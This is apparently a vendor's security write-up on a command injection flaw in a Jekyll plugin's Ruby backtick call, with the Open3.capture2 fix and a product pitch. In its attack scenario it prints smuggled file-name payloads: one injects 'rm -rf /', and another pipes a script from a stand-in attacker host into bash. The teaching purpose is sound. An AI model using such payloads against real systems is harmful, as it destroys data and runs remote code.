How Command Injection Happens in Ruby Backticks and How to Fix It
The Real-World Scenario
In a Jekyll-based static site generator, a timestamp plugin needed to retrieve the last modification time of documents by querying Git. The developer used Ruby's convenient backtick syntax to execute a shell command—a pattern that seems innocent but created a critical vulnerability when collection file paths could be influenced by external input.
Introduction
The _plugins/timestamp.rb file is responsible for enriching Jekyll documents with Git metadata, specifically the timestamp of the last commit that modified each document. While this is a legitimate use case, the implementation contained a command injection vulnerability at line 11. The code executed a git log command using Ruby backticks with unsanitized file path data, creating an opening for attackers to inject arbitrary shell commands. This is a textbook example of CWE-78 (OS Command Injection), and it demonstrates why developers must be extremely careful when combining shell execution with any data that isn't completely static.
For developers working on Jekyll plugins, build tools, or any system that processes file paths, this vulnerability is particularly relevant. The attack surface here is deceptively simple: a malicious file name or path could trigger arbitrary code execution with the privileges of the application.
The Vulnerability Explained
Let's examine the vulnerable code:
last_modified = `git log -1 --format="%ct" -- "#{collection.path}"`
The Problem:
This single line contains multiple security anti-patterns:
- Backticks execute shell commands: Ruby's backticks (
`) invoke/bin/shto interpret the entire string as a shell command. - String interpolation with user data: The
#{collection.path}is interpolated directly into the command string. Whilecollection.pathcomes from Jekyll's internal document structure, in a plugin ecosystem or with external input sources, this could be attacker-controlled. - No shell escaping: The file path is wrapped in quotes but not properly escaped. A path containing shell metacharacters like
$(,;,|, or backticks could break out of the quotes and inject commands.
Attack Scenario:
Imagine an attacker can influence the document collection by uploading a file with a malicious name:
document_name: "test.md; rm -rf / #"
When Jekyll processes this, the executed command becomes:
git log -1 --format="%ct" -- "test.md; rm -rf / #"
The shell interprets the semicolon as a command separator and executes rm -rf / as a second command. Or consider a more subtle attack:
document_name: "$(curl attacker.com/malware.sh | bash)"
This would execute an arbitrary script from a remote server.
Real-World Impact:
In a CI/CD pipeline running Jekyll builds, this vulnerability could allow an attacker to:
- Steal secrets stored in environment variables
- Modify the generated static site to inject malicious content
- Compromise the build server itself
- Establish persistence for future attacks
The git log command itself isn't dangerous—but executing any shell command with interpolated data is.
The Fix
The pull request replaced the vulnerable backtick syntax with Open3.capture2(), a Ruby standard library method that executes commands without invoking a shell:
Before (Vulnerable):
last_modified = `git log -1 --format="%ct" -- "#{collection.path}"`
After (Secure):
require 'open3'
last_modified, _ = Open3.capture2('git', 'log', '-1', '--format=%ct', '--', collection.path)
What Changed:
-
Added
require 'open3': Imported Ruby's Open3 standard library at the top of the file. -
Replaced backticks with
Open3.capture2(): This method accepts the executable as the first argument and subsequent arguments as an array, bypassing the shell entirely. -
Array-style arguments: Instead of
'git log -1 --format="%ct" -- "#{collection.path}"'as a single string, the command is now:
-'git'(executable)
-'log','-1','--format=%ct','--'(literal arguments)
-collection.path(user data as a separate argument) -
Captured both stdout and stderr: The
Open3.capture2()method returns both standard output and standard error. The fix captures both (last_modified, _) and discards stderr with the underscore.
Why This Works:
When using Open3.capture2() with array-style arguments, Ruby passes each argument directly to the git executable without shell interpretation. Shell metacharacters in collection.path are treated as literal characters, not special commands. A malicious path like "$(rm -rf /)" is passed to git as a literal filename to search for, which git will simply report as "file not found"—safe and harmless.
Prevention & Best Practices
To avoid command injection vulnerabilities in your Ruby code:
-
Never use backticks or
system()with interpolated data: These invoke a shell and interpret special characters. -
Use
Open3.capture2()orOpen3.popen3()with array arguments: These methods accept arguments as an array, bypassing shell interpretation entirely. -
If you must use shell features, use
Kernel.system()with array syntax:
```ruby
# Safe: arguments passed as array
system('git', 'log', '-1', '--format=%ct', '--', collection.path)
# Unsafe: shell interprets the string
system("git log -1 --format=\"%ct\" -- \"#{collection.path}\"")
```
-
Validate and sanitize input: Even with safe APIs, validate that file paths match expected patterns.
-
Use static analysis tools: Semgrep, Brakeman, and other security scanners can detect dangerous-subshell patterns automatically.
-
Apply principle of least privilege: Run build processes with minimal permissions to limit damage if injection occurs.
-
Review OWASP CWE-78 guidance: The OWASP Command Injection page provides comprehensive guidance on preventing this class of vulnerability.
Key Takeaways
- Backticks in Ruby with string interpolation are a command injection vector: Never interpolate user-influenced data into backtick commands.
Open3.capture2()with array arguments is the safe alternative: This method bypasses shell interpretation entirely, eliminating the attack surface.- File paths from external sources must be treated as untrusted: Even if they come from a plugin system or document metadata, they could be attacker-controlled.
- The
git logcommand itself is safe—the danger is in how it's executed: Using a shell-invoking method with unescaped data creates the vulnerability. - Static analysis caught this before it caused harm: Semgrep's dangerous-subshell rule detected this pattern, demonstrating the value of automated security scanning in development pipelines.
How Orbis AppSec Detected This
Source: The collection.path variable, which could originate from Jekyll document metadata or external plugin inputs.
Sink: The backtick shell execution at line 11: `git log -1 --format="%ct" -- "#{collection.path}"`
Missing control: No shell-safe API was used; string interpolation was performed directly into a backtick command without escaping or validation.
CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Replaced backticks with Open3.capture2('git', 'log', '-1', '--format=%ct', '--', collection.path), which passes arguments as an array and never invokes a shell.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Command injection through Ruby backticks is a subtle but critical vulnerability that can lead to remote code execution. The _plugins/timestamp.rb fix demonstrates that the safest approach is to avoid shell execution entirely by using APIs like Open3.capture2() with array-style arguments. This method ensures that user data is never interpreted as shell commands, eliminating an entire class of injection attacks.
As developers, we should make it a habit to reach for safe APIs first. When executing external commands in Ruby, default to Open3 methods with array arguments rather than backticks or system() with string interpolation. Combine this with static analysis tools like Semgrep to catch these patterns automatically during code review, and your applications will be significantly more resilient to command injection attacks.